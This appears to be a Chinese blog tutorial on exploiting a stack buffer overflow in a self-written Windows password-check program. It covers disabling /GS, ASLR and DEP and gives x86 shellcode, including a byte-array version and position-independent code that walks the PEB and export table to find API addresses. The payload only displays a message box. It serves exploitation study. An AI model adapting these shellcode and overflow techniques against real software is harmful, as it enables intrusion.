重要的事情说下,搞windows安全一定要用win电脑实体机。我用的mac出现很多bug 好多函数地址获取不到。因此写shellcode 一定要注意平台 1。先写个有缓冲区溢出的代码

// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<windows.h>
#define PASSWORD "allen"
int VerifyPassword(char *pszPassword, int nSize) {
	char szBuffer[50];
	memcpy(szBuffer, pszPassword, nSize);
	return strcmp(PASSWORD, szBuffer);
}
int _tmain(int argc, _TCHAR* argv[]) {
	int  nFlag = 0;
	char szPassword[0x200];
	FILE *fp;
	LoadLibraryA("user32.dll");
	if (NULL == (fp = fopen("password.txt", "rb"))) {
		MessageBoxA(NULL, "打开文件失败", "error", NULL);
		exit(0);
	}
	fread(szPassword, sizeof(szPassword), 1, fp);
	nFlag = VerifyPassword(szPassword, sizeof(szPassword));
	if (nFlag) printf("密码错误\n");
	else       printf("密码正确\n");
	fclose(fp);
	system("pause");
	return 0;
}
要关掉几个东西

1。禁用安全检查 (/GS-)   

2。关掉随机基址与固定基址

3。禁用内联函数

4关闭dep

这里很定有溢出 写一些好记的数字用于区分溢出地址 password.txt

A8A9B8B9C8C9D8D9E8E9F8F9G8G9H8H9I8I9J8J9K8K9L8L9N8N9M8M90000P8P9Q8Q9R8R9S8S9T8T9U8U9V8V9W8W9X8X9Y8Y9Z8Z9

三运行程序出现 溢出 但是在win10下有点恶心 要在日志里看溢出地址 1。打开控制面版 找到管理工具 打开 事件查看器 打开win日志 打开应用程序 找到相应的出错程序 在od中找到MessageBoxA地址放到那 后面填上20个0(4个参数加上一个返回值 为什么会有5个原因是有一个为返回值) 运行程序 现在开始用代码写个只能这本地运程的shellcode(相关 函数地址要自己在od里找然后写上)


#include <windows.h>
int main()
{
	LoadLibraryA("user32.dll");
	__asm {
		sub esp, 0x60;  //抬高栈帧
		jmp tag_Shellcode;		//前置代码,避免后面的数据被解释为指令
		//[tag_Next-0x1A] MessageBoxA Address
		_asm _emit(0xb0) _asm _emit(0xf8) _asm _emit(0x56) _asm _emit(0x76)
		//[tag_Next-0x16] ExitProcess Address
		_asm _emit(0xe0) _asm _emit(0x3b) _asm _emit(0xa7) _asm _emit(0x75)
		//[tag_Next-0x12] "Hello World!\0"
		_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
		_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
		_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
		_asm _emit(0x00)

		tag_Shellcode:
		call tag_Next;

		tag_Next:
		pop esi;					// GetPC
		xor edx, edx;				// 将EDX清零
		lea edi, [esi - 0x12];		// 获取字符串地址
		mov eax, [esi - 0x1A];		// 获取MessageBoxA地址
		push edx;					// /-uType
		push edi;					// |-lpCaption
		push edi;					// |-lpText
		push edx;					// |-hWnd
		call eax;					// MessageBoxA
		mov eax, [esi - 0x16];		// 获取ExitProcess地址
		push edx;					// *-uExitCode
		call eax;					// ExitProcess*/

	}
	return 0;
}

运行 现在用dbg 把opcode复制下来 sub esp, 0x60; 到call eax; 对应地址


#include <windows.h>


int main()
{
	LoadLibraryA("user32.dll");


	char bShellcode[] = { "\x83\xEC\x60\xEB\x15\xB0\xF8\x56\x76\xE0\x3B\xA7\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0" };

	__asm {
		lea eax, bShellcode;
		push eax;
		ret
	}
	return 0;
}


运行

开始放入文件 找到它要复制的地址 (也就是eax的值 ) 执行拷贝函数后 就出现了溢出把返回值改了 成功 这里也写了真正的shellcode

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
	__asm {
		pushad;
		sub esp, 0x100;
		jmp tag_Shellcode;

		//[tag_Next-0x52] "GetProcAddress"
		_asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
		_asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
		_asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
		_asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

		//[tag_Next-0x44] "LoadLibraryExA\0"
		_asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
		_asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
		_asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
		_asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

		//[tag_Next-0x35]  "User32.dll\0"
		_asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
		_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
		_asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

		//[tag_Next-0x2A]  "MessageBoxA\0"
		_asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
		_asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
		_asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

		//[tag_Next-0x1E]  "ExitProcess\0"
		_asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
		_asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
		_asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

		//[tag_Next-0x12]  "Hello World!\0"
		_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
		_asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
		_asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
		_asm _emit(0x00)

		tag_Shellcode:
					 call tag_Next;
				 tag_Next:
					 pop ebx;
					 //获取关键模块基址
					 mov esi, dword ptr fs : [0x30];
					 mov esi, [esi + 0x0c];
					 mov esi, [esi + 0x1c];
					 mov esi, [esi];
					 mov edx, [esi + 0x08];

					 //获取GetProcAddress的函数地址
					 push ebx;
					 push edx;
					 call fun_GetProcAddress;
					 mov esi, eax;

					 //获取LoadLibraryExA的函数地址
					 push edx;
					 lea ecx, [ebx - 0x44];
					 push ecx;
					 push edx;
					 call eax;
					 pop edx;

					 //调用Payload部分
					 push ebx;
					 push esi;
					 push eax;
					 push edx;
					 call fun_Payload;

				 fun_GetProcAddress:
					 push ebp;
					 mov ebp, esp;
					 sub esp, 0x0c;
					 push edx;

					 //获取EAT、ENT和EOT的地址
					 mov edx, [ebp + 0x08];
					 mov esi, [edx + 0x3c];
					 lea esi, [edx + esi];
					 mov esi, [esi + 0x78];
					 lea esi, [edx + esi];
					 mov edi, [esi + 0x1c];
					 lea edi, [edx + edi];
					 mov[ebp - 0x04], edi;
					 mov edi, [esi + 0x20];
					 lea edi, [edx + edi];
					 mov[ebp - 0x08], edi;
					 mov edi, [esi + 0x24];
					 lea edi, [edx + edi];
					 mov[ebp - 0x0c], edi;

					 //循环对比ENT中的函数名
					 xor eax, eax;
					 jmp tag_FirstCmp;
				 tag_CmpFunNameLoop:
					 inc eax;
				 tag_FirstCmp:
					 mov esi, [ebp - 0x08];
					 mov esi, [esi + 4 * eax];
					 mov edx, [ebp + 0x08];
					 lea esi, [edx + esi];
					 mov ebx, [ebp + 0x0c];
					 lea edi, [ebx - 0x53];
					 mov ecx, 0x0e;
					 cld;
					 repe cmpsb;
					 jne tag_CmpFunNameLoop;

					 //成功后找到对应的序号
					 mov esi, [ebp - 0x0c];
					 xor edi, edi;
					 mov di, [esi + eax * 2];

					 //使用序号作为索引,找到函数名所对应的函数地址
					 mov edx, [ebp - 0x04];
					 mov esi, [edx + edi * 4];
					 mov edx, [ebp + 0x08];

					 //返回获取到的关键函数地址
					 lea eax, [edx + esi];
					 pop edx;
					 mov esp, ebp;
					 pop ebp;
					 retn 0x08;

				 fun_Payload:
					 push ebp;
					 mov ebp, esp;
					 sub esp, 0x08;
					 mov ebx, [ebp + 0x14];

					 //获取MessageBoxA的函数地址
					 lea ecx, [ebx - 0x35];
					 push 0;
					 push 0;
					 push ecx;
					 call[ebp + 0x0c];
					 lea ecx, [ebx - 0x2A];
					 push ecx;
					 push eax;
					 call[ebp + 0x10];
					 mov[ebp - 0x04], eax;

					 //获取ExitProcess的函数地址
					 lea ecx, [ebx - 0x1E];
					 push ecx;
					 push[ebp + 0x08];
					 call[ebp + 0x10];
					 mov[ebp - 0x08], eax;

					 //显示
					 lea ecx, [ebx - 0x12];
					 push 0;
					 push ecx;
					 push ecx;
					 push 0;
					 call[ebp - 0x04];
					 push 0;
					 call[ebp - 0x08];
					 mov esp, ebp;
					 pop ebp;
					 retn 0x10;
	}

	return 0;
}